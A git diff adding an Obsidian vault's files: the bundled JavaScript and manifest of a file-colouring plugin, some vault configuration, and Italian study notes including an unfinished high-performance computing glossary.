+      i2 = m2.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
+      exports.createRoot = function(c2, o2) {
+        i2.usingClientEntryPoint = true;
+        try {
+          return m2.createRoot(c2, o2);
+        } finally {
+          i2.usingClientEntryPoint = false;
+        }
+      };
+      exports.hydrateRoot = function(c2, h2, o2) {
+        i2.usingClientEntryPoint = true;
+        try {
+          return m2.hydrateRoot(c2, h2, o2);
+        } finally {
+          i2.usingClientEntryPoint = false;
+        }
+      };
+    }
+    var i2;
+  }
+});
+
+// src/index.ts
+var src_exports = {};
+__export(src_exports, {
+  default: () => src_default
+});
+module.exports = __toCommonJS(src_exports);
+
+// src/plugin/FileColorPlugin.ts
+var import_obsidian3 = require("obsidian");
+
+// src/plugin/SetColorModal.tsx
+var import_obsidian = require("obsidian");
+var React3 = __toESM(require_react());
+var import_client = __toESM(require_client());
+
+// src/hooks/usePlugin.tsx
+var import_react = __toESM(require_react());
+var PluginContext = (0, import_react.createContext)(void 0);
+var usePlugin = () => {
+  const context = (0, import_react.useContext)(PluginContext);
+  if (!context) {
+    throw new Error("Missing PluginContext provider.");
+  }
+  return context;
+};
+
+// src/hooks/useFile.tsx
+var import_react2 = __toESM(require_react());
+var FileContext = (0, import_react2.createContext)(void 0);
+var useFile = () => {
+  const context = (0, import_react2.useContext)(FileContext);
+  if (!context) {
+    throw new Error("Missing FileContext provider.");
+  }
+  return context;
+};
+
+// src/modules/SetColorModalContent/index.tsx
+var import_react5 = __toESM(require_react());
+
+// src/hooks/useModal.tsx
+var import_react3 = __toESM(require_react());
+var ModalContext = (0, import_react3.createContext)(void 0);
+var useModal = () => {
+  const context = (0, import_react3.useContext)(ModalContext);
+  if (!context) {
+    throw new Error("Missing ModalContext provider.");
+  }
+  return context;
+};
+
+// node_modules/goober/dist/goober.modern.js
+var e = { data: "" };
+var t = (t2) => typeof window == "object" ? ((t2 ? t2.querySelector("#fileColorPluginGooberStyles") : window.fileColorPluginGooberStyles) || Object.assign((t2 || document.head).appendChild(document.createElement("style")), { innerHTML: " ", id: "fileColorPluginGooberStyles" })).firstChild : t2 || e;
+var l = /(?:([\u0080-\uFFFF\w-%@]+) *:? *([^{;]+?);|([^;}{]*?) *{)|(}\s*)/g;
+var a = /\/\*[^]*?\*\/|  +/g;
+var n = /\n+/g;
+var o = (e2, t2) => {
+  let r = "", l2 = "", a2 = "";
+  for (let n2 in e2) {
+    let c2 = e2[n2];
+    n2[0] == "@" ? n2[1] == "i" ? r = n2 + " " + c2 + ";" : l2 += n2[1] == "f" ? o(c2, n2) : n2 + "{" + o(c2, n2[1] == "k" ? "" : t2) + "}" : typeof c2 == "object" ? l2 += o(c2, t2 ? t2.replace(/([^,])+/g, (e3) => n2.replace(/(^:.*)|([^,])+/g, (t3) => /&/.test(t3) ? t3.replace(/&/g, e3) : e3 ? e3 + " " + t3 : t3)) : n2) : c2 != null && (n2 = /^--/.test(n2) ? n2 : n2.replace(/[A-Z]/g, "-$&").toLowerCase(), a2 += o.p ? o.p(n2, c2) : n2 + ":" + c2 + ";");
+  }
+  return r + (t2 && a2 ? t2 + "{" + a2 + "}" : a2) + l2;
+};
+var c = {};
+var s = (e2) => {
+  if (typeof e2 == "object") {
+    let t2 = "";
+    for (let r in e2)
+      t2 += r + s(e2[r]);
+    return t2;
+  }
+  return e2;
+};
+var i = (e2, t2, r, i2, p2) => {
+  let u2 = s(e2), d2 = c[u2] || (c[u2] = ((e3) => {
+    let t3 = 0, r2 = 11;
+    for (; t3 < e3.length; )
+      r2 = 101 * r2 + e3.charCodeAt(t3++) >>> 0;
+    return "go" + r2;
+  })(u2));
+  if (!c[d2]) {
+    let t3 = u2 !== e2 ? e2 : ((e3) => {
+      let t4, r2, o2 = [{}];
+      for (; t4 = l.exec(e3.replace(a, "")); )
+        t4[4] ? o2.shift() : t4[3] ? (r2 = t4[3].replace(n, " ").trim(), o2.unshift(o2[0][r2] = o2[0][r2] || {})) : o2[0][t4[1]] = t4[2].replace(n, " ").trim();
+      return o2[0];
+    })(e2);
+    c[d2] = o(p2 ? { ["@keyframes " + d2]: t3 } : t3, r ? "" : "." + d2);
+  }
+  let f2 = r && c.g ? c.g : null;
+  return r && (c.g = c[d2]), ((e3, t3, r2, l2) => {
+    l2 ? t3.data = t3.data.replace(l2, e3) : t3.data.indexOf(e3) === -1 && (t3.data = r2 ? e3 + t3.data : t3.data + e3);
+  })(c[d2], t2, i2, f2), d2;
+};
+var p = (e2, t2, r) => e2.reduce((e3, l2, a2) => {
+  let n2 = t2[a2];
+  if (n2 && n2.call) {
+    let e4 = n2(r), t3 = e4 && e4.props && e4.props.className || /^go/.test(e4) && e4;
+    n2 = t3 ? "." + t3 : e4 && typeof e4 == "object" ? e4.props ? "" : o(e4, "") : e4 === false ? "" : e4;
+  }
+  return e3 + l2 + (n2 == null ? "" : n2);
+}, "");
+function u(e2) {
+  let r = this || {}, l2 = e2.call ? e2(r.p) : e2;
+  return i(l2.unshift ? l2.raw ? p(l2, [].slice.call(arguments, 1), r.p) : l2.reduce((e3, t2) => Object.assign(e3, t2 && t2.call ? t2(r.p) : t2), {}) : l2, t(r.target), r.g, r.o, r.k);
+}
+var d;
+var f;
+var g;
+var b = u.bind({ g: 1 });
+var h = u.bind({ k: 1 });
+function m(e2, t2, r, l2) {
+  o.p = t2, d = e2, f = r, g = l2;
+}
+function j(e2, t2) {
+  let r = this || {};
+  return function() {
+    let l2 = arguments;
+    function a2(n2, o2) {
+      let c2 = Object.assign({}, n2), s2 = c2.className || a2.className;
+      r.p = Object.assign({ theme: f && f() }, c2), r.o = / *go\d+/.test(s2), c2.className = u.apply(r, l2) + (s2 ? " " + s2 : ""), t2 && (c2.ref = o2);
+      let i2 = e2;
+      return e2[0] && (i2 = c2.as || e2, delete c2.as), g && i2[0] && g(c2), d(i2, c2);
+    }
+    return t2 ? t2(a2) : a2;
+  };
+}
+
+// src/config/styles.ts
+var import_react4 = __toESM(require_react());
+m(import_react4.default.createElement);
+var styled = j;
+
+// src/modules/SetColorModalContent/Color.tsx
+var Color = styled("div")`
+  display: block;
+  width: 32px;
+  height: 32px;
+  border-style: solid;
+  border-radius: 32px;
+  border-color: ${(props) => props.selected ? "var(--color-base-70)" : "var(--color-base-40)"};
+  background-color: var(--file-color-color);
+`;
+
+// src/modules/SetColorModalContent/ColorCell.tsx
+var ColorCell = styled("div")`
+  display: flex;
+  flex-direction: column;
+  cursor: pointer;
+  margin: 16px;
+  align-items: center;
+  justify-content: center;
+`;
+
+// src/modules/SetColorModalContent/ColorGrid.tsx
+var ColorGrid = styled("div")`
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  place-items: center;
+`;
+
+// src/modules/SetColorModalContent/ColorName.tsx
+var ColorName = styled("small")`
+  display: block;
+  text-align: center;
+  margin-top: 12px;
+`;
+
+// src/modules/SetColorModalContent/index.tsx
+var SetColorModalContent = () => {
+  var _a;
+  const plugin = usePlugin();
+  const { path } = useFile();
+  const modal = useModal();
+  const selectedColor = (_a = plugin.settings.fileColors.find((file) => file.path === path)) == null ? void 0 : _a.color;
+  const handleSelectColor = (color) => {
+    const fileIndex = plugin.settings.fileColors.findIndex((file2) => file2.path === path);
+    const file = fileIndex > -1 ? plugin.settings.fileColors[fileIndex] : void 0;
+    if (!color && file) {
+      plugin.settings.fileColors.splice(fileIndex, 1);
+    }
+    if (color && file) {
+      file.color = color;
+    }
+    if (color && !file) {
+      plugin.settings.fileColors.push({
+        path,
+        color
+      });
+    }
+    plugin.saveSettings();
+    plugin.applyColorStyles();
+    modal.close();
+  };
+  return /* @__PURE__ */ import_react5.default.createElement(ColorGrid, null, /* @__PURE__ */ import_react5.default.createElement(ColorCell, {
+    onClick: () => handleSelectColor(void 0)
+  }, /* @__PURE__ */ import_react5.default.createElement(Color, {
+    selected: !selectedColor
+  }), /* @__PURE__ */ import_react5.default.createElement(ColorName, null, "None")), plugin.settings.palette.map((color) => /* @__PURE__ */ import_react5.default.createElement(ColorCell, {
+    key: color.id,
+    onClick: () => handleSelectColor(color.id)
+  }, /* @__PURE__ */ import_react5.default.createElement(Color, {
+    selected: selectedColor === color.id,
+    className: `file-color-color-${color.id}`
+  }), /* @__PURE__ */ import_react5.default.createElement(ColorName, null, color.name))));
+};
+
+// src/plugin/SetColorModal.tsx
+var SetColorModal = class extends import_obsidian.Modal {
+  constructor(plugin, file) {
+    super(plugin.app);
+    this.plugin = plugin;
+    this.file = file;
+  }
+  onOpen() {
+    this.titleEl.innerText = "Set color";
+    this.root = (0, import_client.createRoot)(this.contentEl);
+    this.root.render(/* @__PURE__ */ React3.createElement(React3.StrictMode, null, /* @__PURE__ */ React3.createElement(PluginContext.Provider, {
+      value: this.plugin
+    }, /* @__PURE__ */ React3.createElement(FileContext.Provider, {
+      value: this.file
+    }, /* @__PURE__ */ React3.createElement(ModalContext.Provider, {
+      value: this
+    }, /* @__PURE__ */ React3.createElement(SetColorModalContent, null))))));
+  }
+  onClose() {
+    var _a;
+    (_a = this.root) == null ? void 0 : _a.unmount();
+  }
+};
+
+// src/plugin/FileColorSettingTab.tsx
+var import_react10 = __toESM(require_react());
+var import_obsidian2 = require("obsidian");
+var import_client2 = __toESM(require_client());
+
+// src/components/Button/index.tsx
+var Button = styled("button")({
+  display: "inline-flex",
+  justifyContent: "center",
+  alignItems: "center",
+  ".svg-icon + *": {
+    marginLeft: "8px"
+  }
+});
+
+// src/components/icons/AddCircleIcon.tsx
+var import_react6 = __toESM(require_react());
+var AddCircleIcon = () => /* @__PURE__ */ import_react6.default.createElement("svg", {
+  xmlns: "http://www.w3.org/2000/svg",
+  width: "24",
+  height: "24",
+  viewBox: "0 0 24 24",
+  fill: "none",
+  stroke: "currentColor",
+  strokeWidth: "2",
+  strokeLinecap: "round",
+  strokeLinejoin: "round",
+  className: "svg-icon"
+}, /* @__PURE__ */ import_react6.default.createElement("circle", {
+  cx: "12",
+  cy: "12",
+  r: "10"
+}), /* @__PURE__ */ import_react6.default.createElement("line", {
+  x1: "12",
+  y1: "8",
+  x2: "12",
+  y2: "16"
+}), /* @__PURE__ */ import_react6.default.createElement("line", {
+  x1: "8",
+  y1: "12",
+  x2: "16",
+  y2: "12"
+}));
+
+// src/components/icons/TrashIcon.tsx
+var import_react7 = __toESM(require_react());
+var TrashIcon = () => /* @__PURE__ */ import_react7.default.createElement("svg", {
+  xmlns: "http://www.w3.org/2000/svg",
+  width: "24",
+  height: "24",
+  viewBox: "0 0 24 24",
+  fill: "none",
+  stroke: "currentColor",
+  strokeWidth: "2",
+  strokeLinecap: "round",
+  strokeLinejoin: "round",
+  className: "svg-icon"
+}, /* @__PURE__ */ import_react7.default.createElement("path", {
+  d: "M3 6h18"
+}), /* @__PURE__ */ import_react7.default.createElement("path", {
+  d: "M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6"
+}), /* @__PURE__ */ import_react7.default.createElement("path", {
+  d: "M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2"
+}), /* @__PURE__ */ import_react7.default.createElement("line", {
+  x1: "10",
+  y1: "11",
+  x2: "10",
+  y2: "17"
+}), /* @__PURE__ */ import_react7.default.createElement("line", {
+  x1: "14",
+  y1: "11",
+  x2: "14",
+  y2: "17"
+}));
+
+// node_modules/nanoid/index.browser.js
+var nanoid = (size = 21) => crypto.getRandomValues(new Uint8Array(size)).reduce((id, byte) => {
+  byte &= 63;
+  if (byte < 36) {
+    id += byte.toString(36);
+  } else if (byte < 62) {
+    id += (byte - 26).toString(36).toUpperCase();
+  } else if (byte > 62) {
+    id += "-";
+  } else {
+    id += "_";
+  }
+  return id;
+}, "");
+
+// src/modules/SettingsPanel/index.tsx
+var import_react9 = __toESM(require_react());
+
+// src/components/SettingItem/index.tsx
+var import_react8 = __toESM(require_react());
+var SettingItem = ({
+  className,
+  ...props
+}) => /* @__PURE__ */ import_react8.default.createElement("div", {
+  className: `setting-item${className ? " " + className : ""}`,
+  ...props
+});
+var SettingItemControl = ({
+  className,
+  ...props
+}) => /* @__PURE__ */ import_react8.default.createElement("div", {
+  className: `setting-item-control${className ? " " + className : ""}`,
+  ...props
+});
+var SettingItemInfo = ({
+  className,
+  ...props
+}) => /* @__PURE__ */ import_react8.default.createElement("div", {
+  className: `setting-item-info${className ? " " + className : ""}`,
+  ...props
+});
+
+// src/modules/SettingsPanel/SettingItemControlFull.tsx
+var SettingItemControlFull = styled(SettingItemControl)`
+  justify-content: space-between;
+`;
+
+// src/modules/SettingsPanel/WideTextInput.tsx
+var WideTextInput = styled("input")`
+  display: flex;
+  flex: 1;
+`;
+
+// src/modules/SettingsPanel/index.tsx
+var SettingsPanel = () => {
+  const plugin = usePlugin();
+  const [palette, setPalette] = (0, import_react9.useState)(plugin.settings.palette);
+  const [changed, setChanged] = (0, import_react9.useState)(false);
+  (0, import_react9.useEffect)(() => {
+    if (palette.length !== plugin.settings.palette.length) {
+      setChanged(true);
+      return;
+    }
+    setChanged(palette.some((color) => {
+      const settingsColor = plugin.settings.palette.find((settingsColor2) => settingsColor2.id === color.id);
+      if (!settingsColor || settingsColor.name !== color.name || settingsColor.value !== color.value) {
+        return true;
+      }
+    }));
+  }, [plugin, palette]);
+  const onRemoveColor = (color, colorIndex) => {
+    setPalette(palette.filter((paletteColor) => paletteColor.id !== color.id));
+  };
+  const onColorValueChange = (color, value) => {
+    setPalette(palette.map((paletteColor) => {
+      if (paletteColor.id === color.id) {
+        return { ...color, value };
+      }
+      return paletteColor;
+    }));
+  };
+  const onColorNameChange = (color, name) => {
+    setPalette(palette.map((paletteColor) => {
+      if (paletteColor.id === color.id) {
+        return { ...color, name };
+      }
+      return paletteColor;
+    }));
+  };
+  const onAddColor = () => {
+    setPalette([
+      ...palette,
+      {
+        id: nanoid(),
+        name: "",
+        value: "#ffffff"
+      }
+    ]);
+  };
+  const onSave = () => {
+    plugin.settings.palette = palette;
+    plugin.settings.fileColors = plugin.settings.fileColors.filter((fileColor) => palette.find((color) => fileColor.color === color.id));
+    plugin.saveSettings();
+    plugin.generateColorStyles();
+    plugin.applyColorStyles();
+    setChanged(false);
+  };
+  const onRevert = () => {
+    setPalette(plugin.settings.palette);
+    setChanged(false);
+  };
+  return /* @__PURE__ */ import_react9.default.createElement("div", {
+    className: "file-color-settings-panel"
+  }, /* @__PURE__ */ import_react9.default.createElement("h2", null, "Palette"), palette.length < 1 && /* @__PURE__ */ import_react9.default.createElement("span", null, "No colors in the palette"), palette.map((color, colorIndex) => /* @__PURE__ */ import_react9.default.createElement(SettingItem, {
+    key: color.id
+  }, /* @__PURE__ */ import_react9.default.createElement(SettingItemControlFull, null, /* @__PURE__ */ import_react9.default.createElement("input", {
+    type: "color",
+    value: color.value,
+    onChange: (e2) => onColorValueChange(color, e2.target.value)
+  }), /* @__PURE__ */ import_react9.default.createElement(WideTextInput, {
+    type: "text",
+    placeholder: "Color name",
+    value: color.name,
+    onChange: (e2) => onColorNameChange(color, e2.target.value)
+  }), /* @__PURE__ */ import_react9.default.createElement(Button, {
+    onClick: () => onRemoveColor(color, colorIndex)
+  }, /* @__PURE__ */ import_react9.default.createElement(TrashIcon, null))))), /* @__PURE__ */ import_react9.default.createElement(SettingItem, null, /* @__PURE__ */ import_react9.default.createElement(SettingItemControlFull, null, /* @__PURE__ */ import_react9.default.createElement(Button, {
+    onClick: onAddColor
+  }, /* @__PURE__ */ import_react9.default.createElement(AddCircleIcon, null), /* @__PURE__ */ import_react9.default.createElement("span", null, "Add Color")))), changed && /* @__PURE__ */ import_react9.default.createElement(SettingItem, {
+    className: "file-color-settings-save"
+  }, /* @__PURE__ */ import_react9.default.createElement(SettingItemInfo, null, /* @__PURE__ */ import_react9.default.createElement("span", {
+    className: "mod-warning"
+  }, "You have unsaved changes.")), /* @__PURE__ */ import_react9.default.createElement(SettingItemControl, null, /* @__PURE__ */ import_react9.default.createElement(Button, {
+    onClick: onRevert
+  }, "Revert changes"), /* @__PURE__ */ import_react9.default.createElement(Button, {
+    onClick: onSave
+  }, "Save"))));
+};
+
+// src/plugin/FileColorSettingTab.tsx
+var FileColorSettingTab = class extends import_obsidian2.PluginSettingTab {
+  constructor(app, plugin) {
+    super(app, plugin);
+    this.plugin = plugin;
+    this.root = (0, import_client2.createRoot)(this.containerEl);
+  }
+  display() {
+    this.root.render(/* @__PURE__ */ import_react10.default.createElement(import_react10.default.StrictMode, null, /* @__PURE__ */ import_react10.default.createElement(PluginContext.Provider, {
+      value: this.plugin
+    }, /* @__PURE__ */ import_react10.default.createElement(SettingsPanel, null))));
+  }
+};
+
+// src/settings.ts
+var defaultSettings = {
+  palette: [],
+  fileColors: []
+};
+
+// src/plugin/FileColorPlugin.ts
+var FileColorPlugin = class extends import_obsidian3.Plugin {
+  constructor() {
+    super(...arguments);
+    this.settings = defaultSettings;
+    this.saveSettingsInternalDebounced = (0, import_obsidian3.debounce)(this.saveSettingsInternal, 3e3, true);
+    this.applyColorStyles = (0, import_obsidian3.debounce)(this.applyColorStylesInternal, 50, true);
+  }
+  async onload() {
+    await this.loadSettings();
+    this.registerEvent(this.app.workspace.on("file-menu", (menu, file) => {
+      const addFileColorMenuItem = (item) => {
+        item.setTitle("Set color");
+        item.setIcon("palette");
+        item.onClick(() => {
+          new SetColorModal(this, file).open();
+        });
+      };
+      menu.addItem(addFileColorMenuItem);
+    }));
+    this.app.workspace.onLayoutReady(async () => {
+      this.generateColorStyles();
+      this.applyColorStyles();
+    });
+    this.registerEvent(this.app.workspace.on("layout-change", () => this.applyColorStyles()));
+    this.registerEvent(this.app.vault.on("rename", async (newFile, oldPath) => {
+      this.settings.fileColors.filter((fileColor) => fileColor.path === oldPath).forEach((fileColor) => {
+        fileColor.path = newFile.path;
+      });
+      this.saveSettings();
+      this.applyColorStyles();
+    }));
+    this.registerEvent(this.app.vault.on("delete", async (file) => {
+      this.settings.fileColors = this.settings.fileColors.filter((fileColor) => !fileColor.path.startsWith(file.path));
+      this.saveSettings();
+    }));
+    this.addSettingTab(new FileColorSettingTab(this.app, this));
+  }
+  onunload() {
+    var _a, _b;
+    (_a = document.getElementById("fileColorPluginStyles")) == null ? void 0 : _a.remove();
+    (_b = document.getElementById("fileColorPluginGooberStyles")) == null ? void 0 : _b.remove();
+  }
+  async loadSettings() {
+    this.settings = Object.assign({}, defaultSettings, await this.loadData());
+  }
+  async saveSettings(immediate) {
+    if (immediate) {
+      return this.saveSettingsInternal();
+    }
+    return this.saveSettingsInternalDebounced();
+  }
+  saveSettingsInternal() {
+    return this.saveData(this.settings);
+  }
+  generateColorStyles() {
+    let colorStyleEl = document.getElementById("fileColorPluginStyles");
+    if (!colorStyleEl) {
+      colorStyleEl = this.app.workspace.containerEl.createEl("style");
+      colorStyleEl.id = "fileColorPluginStyles";
+    }
+    colorStyleEl.innerHTML = this.settings.palette.map((color) => `.file-color-color-${color.id} { --file-color-color: ${color.value}; }`).join("\n");
+  }
+  applyColorStylesInternal() {
+    const fileExplorers = this.app.workspace.getLeavesOfType("file-explorer");
+    fileExplorers.forEach((fileExplorer) => {
+      Object.entries(fileExplorer.view.fileItems).forEach(([path, fileItem]) => {
+        const itemClasses = fileItem.selfEl.classList.value.split(" ").filter((cls) => !cls.startsWith("file-color"));
+        const file = this.settings.fileColors.find((file2) => file2.path === path);
+        if (file) {
+          itemClasses.push("file-color-file");
+          itemClasses.push("file-color-color-" + file.color);
+        }
+        fileItem.selfEl.classList.value = itemClasses.join(" ");
+      });
+    });
+  }
+};
+
+// src/index.ts
+var src_default = FileColorPlugin;
+/**
+ * @license React
+ * react-dom.development.js
+ *
+ * Copyright (c) Facebook, Inc. and its affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/**
+ * @license React
+ * react.development.js
+ *
+ * Copyright (c) Facebook, Inc. and its affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/**
+ * @license React
+ * scheduler.development.js
+ *
+ * Copyright (c) Facebook, Inc. and its affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/**
+ * Checks if an event is supported in the current execution environment.
+ *
+ * NOTE: This will not work correctly for non-generic events such as `change`,
+ * `reset`, `load`, `error`, and `select`.
+ *
+ * Borrows from Modernizr.
+ *
+ * @param {string} eventNameSuffix Event name, e.g. "click".
+ * @return {boolean} True if the event is supported.
+ * @internal
+ * @license Modernizr 3.0.0pre (Custom Build) | MIT
+ */
diff --git a/.obsidian/plugins/obsidian-file-color/manifest.json b/.obsidian/plugins/obsidian-file-color/manifest.json
new file mode 100644
index 0000000..e8df18f
--- /dev/null
+++ b/.obsidian/plugins/obsidian-file-color/manifest.json
@@ -0,0 +1,11 @@
+{
+	"id": "obsidian-file-color",
+	"name": "File Color",
+	"version": "1.0.3",
+	"minAppVersion": "1.2.7",
+	"description": "An Obsidian plugin for setting colors on folders and files in the file tree.",
+	"author": "ecustic",
+	"authorUrl": "https://github.com/ecustic",
+	"fundingUrl": "https://www.buymeacoffee.com/ecustic",
+	"isDesktopOnly": false
+}
\ No newline at end of file
diff --git a/.obsidian/plugins/obsidian-file-color/styles.css b/.obsidian/plugins/obsidian-file-color/styles.css
new file mode 100644
index 0000000..1bcc7fb
--- /dev/null
+++ b/.obsidian/plugins/obsidian-file-color/styles.css
@@ -0,0 +1,4 @@
+.workspace-leaf-content[data-type="file-explorer"] .nav-files-container .nav-folder-title.file-color-file,
+.workspace-leaf-content[data-type="file-explorer"] .nav-files-container .nav-file-title.file-color-file {
+  color: var(--file-color-color);
+}
\ No newline at end of file
diff --git a/.obsidian/publish.json b/.obsidian/publish.json
new file mode 100644
index 0000000..26a80f7
--- /dev/null
+++ b/.obsidian/publish.json
@@ -0,0 +1,6 @@
+{
+  "siteId": null,
+  "host": null,
+  "included": [],
+  "excluded": []
+}
\ No newline at end of file
diff --git a/.obsidian/snippets/canvas-node-placeholder-size.css b/.obsidian/snippets/canvas-node-placeholder-size.css
new file mode 100644
index 0000000..975c019
--- /dev/null
+++ b/.obsidian/snippets/canvas-node-placeholder-size.css
@@ -0,0 +1,7 @@
+.canvas-group-label {
+	font-size: 2em;
+}
+
+.canvas-node-placeholder {
+	font-size: 72px;
+}
\ No newline at end of file
diff --git a/.obsidian/starred.json b/.obsidian/starred.json
new file mode 100644
index 0000000..fc69ce2
--- /dev/null
+++ b/.obsidian/starred.json
@@ -0,0 +1,3 @@
+{
+  "items": []
+}
\ No newline at end of file
diff --git a/.obsidian/switcher.json b/.obsidian/switcher.json
new file mode 100644
index 0000000..b229885
--- /dev/null
+++ b/.obsidian/switcher.json
@@ -0,0 +1,5 @@
+{
+  "showExistingOnly": true,
+  "showAttachments": true,
+  "showAllFileTypes": true
+}
\ No newline at end of file
diff --git a/0 - Generale/cardinalità di un insieme.md b/0 - Generale/cardinalità di un insieme.md
new file mode 100644
index 0000000..5331503
--- /dev/null
+++ b/0 - Generale/cardinalità di un insieme.md	
@@ -0,0 +1 @@
+Numero di elementi contenuti in uno specifico [[insieme]].
diff --git a/0 - Generale/insieme.md b/0 - Generale/insieme.md
new file mode 100644
index 0000000..2d05d4f
--- /dev/null
+++ b/0 - Generale/insieme.md	
@@ -0,0 +1 @@
+Raggruppamento inordinato di tanti elementi.
diff --git a/0 - Generale/lista.md b/0 - Generale/lista.md
new file mode 100644
index 0000000..1cb6502
--- /dev/null
+++ b/0 - Generale/lista.md	
@@ -0,0 +1,6 @@
+---
+aliases:
+  - sequenza
+---
+
+[[Insieme]] **ordinato** di elementi.
diff --git a/7 - High performance computing/★ glossario ad alta performance.md b/7 - High performance computing/★ glossario ad alta performance.md
new file mode 100644
index 0000000..605400a
--- /dev/null
+++ b/7 - High performance computing/★ glossario ad alta performance.md	
@@ -0,0 +1,306 @@
+Il glossario contiene voci fino allo slideshow 07.
+
+### High performance (HP)
+
+Sistemi con hardware specializzato per effettuare calcoli più velocemente, ad esempio tramite esecuzione in parallelo.
+
+### Architectural heterogeneity
+
+Sistemi le cui risorse di calcolo non sono tutte dello stesso tipo, e invece sono specializzate allo svolgimento di diversi compiti.
+
+### Massive parallelism
+
+### Locally homogeneous
+
+Quando una parte di un sistema ha tante risorse di calcolo uguali che condividono risorse.
+
+### Globally heterogeneous
+
+Quando un sistema ha diverse parti *locally homogeneous* che interagiscono fra loro.
+
+### Legge di Moore
+
+Il numero di transsitor in un circuito integrato raddoppia ogni due anni.
+
+Ha cessato di essere valida intorno al 2000.
+
+### Legge di Dennard
+
+I transistor possono essere scalati $\times 0.7$ ad ogni generazione di processori.
+
+Riducendo le dimensioni dei transistor si può scalare la loro frequenza di $\times 1.4$.
+
+Per impedire al campo elettrico di aumentare e di causare interferenze, anche la potenza fornita ai transistor è scalata di $\times 0.7$.
+
+Ha cessato di essere valida nel 2005.
+
+### Power wall
+^2241b2
+
+Soglia oltre la quale non è possibile diminuire la potenza fornita ai transistor.
+
+### Instruction-level parallelism (ILP)
+
+Parallelismo implicito nei processori per aumentare le prestazioni single-core, realizzato tramite pipelining.
+
+Efficacia limitata.
+
+### Dark silicon
+
+Limitazione nei sistemi multicore che impedisce a tutti i core di essere attivati contemporaneamente per limiti di potenza.
+
+Vedi [[#^2241b2|Power wall]].
+
+### Soluzione #1: Rimpicciolimento
+
+Realizzare chip più piccoli ed economici.
+
+### Soluzione #2: Dimming
+
+Realizzare più core paralleli, ma più lenti.
+
+### Soluzione #3: Specializzazione
+
+Realizzare più core con funzionalità diverse e selezionare sul momento quali usare.
+
+### Soluzione #4: Cambio di approccio
+
+Iniziare ad usare tecnologie diverse per la realizzazione di microprocessori.
+
+### Tassonomia di Flynn (SISD, SIMD, MISD, MIMD)
+
+Classificazione di processori in base a come operano in parallelo.
+
+### Single instruction, single datastream
+
+Esecuzione sequenziale. CPU single-core.
+
+### Single instruction, multiple datastreams
+
+Vengono effettuate le stesse operazioni su dati diversi. GPU.
+
+### Multiple instruction, single datastreams
+
+Vengono effettuate operazioni diverse sugli stessi dati. Array processors.
+
+### Multiple instruction, multiple datastreams
+
+Vengono effettuate a matrice istruzioni diverse su dati diversi. CPU multi-core.
+
+### Loop unrolling
+
+Trasformazione di un loop in modo che riesca ad effettuare più operazioni con una singola istruzione.
+
+```c
+for(int i = 0; i < SIZE; i++) {
+	array[i] += 1;
+}
+```
+
+```c
+for(int i = 0; i < SIZE / 4; i++) {
+	array[i+0] += 1;
+	array[i+1] += 1;
+	array[i+2] += 1;
+	array[i+3] += 1;
+}
+```
+
+```c
+for(int i = 0; i < SIZE / 4; i++) {
+	addToAddresses(array, i, n, 1)  // Singola istruzione assembly!
+}
+```
+
+### Istruzione di *fork*
+
+Divisione dell’execution path in due path separati con istruzioni diverse
+
+### Istruzione di *join*
+
+Riunione di execution path *fork*ati, richiede che entrambi abbiano terminato l’esecuzione.
+
+### Symmetric multi-processors (SMP, UMA)
+
+Processori shared memory la cui memoria è fisicamente condivisa.
+
+Sono uniform memory access time (UMA).
+
+### Distributed shared memory (DSM, NUMA)
+
+Processori shared memory la cui memoria è fisicamente distribuita tra i core.
+
+Sono non-uniform memory access time (NUMA).
+
+### Coherence
+
+Principio di caching secondo il quale il contenuto delle cache deve essere sempre valido, anche quando un altro processore ha modificato il dato in questione nella memoria principale.
+
+### Snoopy cache
+
+Cache che interagisce direttamente con le altre cache attraverso un singolo bus condiviso, invalidando e scrivendo i dati quando necessario.
+
+### Directory cache
+
+Cache distribuita in modo simile a una memoria di un sistema NUMA, richiede a ciascun core di mantenere una directory di quali core hanno in cache un certo dato.
+
+### Full bit vector
+
+Ogni blocco di cache ha nella directory un bit per ciascun core che potrebbe avere o no il blocco cacheato.
+
+### Limited pointer scheme (LPS)
+
+Invece che usare una matrice di flag, vengono salvati gli indici dei core, come in un array sparso.
+
+### Broadcast
+
+Quando gli indici dei core utilizzano più spazio di quello disponibile, si ritorna a un sistema di broadcast.
+
+### No broadcast
+
+Quando gli indici dei core utilizzano più spazio di quello disponibile, il più nuovo sostituisce quello vecchio.
+
+### Vettore grossolano
+
+Vettore che fa in modo che ciascun indice corrisponda a più core, ad esempio tramite modulo `%`
+
+### Puntatori dinamici
+
+### Sparse directory
+
+Viene usata una linked list distribuita per rappresentare quali core hanno in cache quale blocco.
+
+### Protocollo Modified-Shared-Invalid (MSI)
+
+Protocollo per invalidazione di blocchi di cache che prevede tre stati:
+
+- modified
+- shared
+- invalid
+
+### Protocollo Modified-Exclusive-Shared-Invalid (MESI)
+
+Protocollo per invalidazione di blocchi di cache che prevede quattro stati:
+
+- exclusive modified
+- exclusive
+- shared
+- invalid
+
+### Coherence miss / Communication miss / Sharing miss
+
+Miss di cache dovuto alle azioni di un altro core.
+
+### True
+
+Quando il dato ad essere modificato da un altro core è specificamente quello salvato in cache.
+
+### False
+
+Quando il dato ad essere modificato è solamente contenuto all’interno dello stesso blocco.
+
+### Operazioni atomiche / operazioni indivisibili
+
+Operazioni che vengono effettuate da un thread in una transazione unica, che non possono essere interrotte a metà.
+
+A livello hardware, sono comunemente implementate le seguenti.
+
+### Test & Set (Lock acquire)
+
+```cpp
+atomic bool acquire(bool* lock) {
+	bool result = *lock;
+	*lock = true;
+	return result;
+}
+```
+
+### Swap
+
+```cpp
+atomic void swap<T>(T* a, T* b) {
+	T tmp = *a;
+	*a = *b;
+	*b = tmp;
+}
+```
+
+### Compare & Swap
+
+### Test & Test & Set
+
+### Test | Backoff & Test & Set (Lock acquire)
+
+### Esclusione mutua (Mutex, Lock)
+
+Meccanismo per impedire che un altro core operi durante un’operazione atomica.
+
+### Lock
+
+Meccanismo di sincronizzazione che permette a un solo thread alla volta di utilizzare una risorsa.
+
+### Sezione critica
+
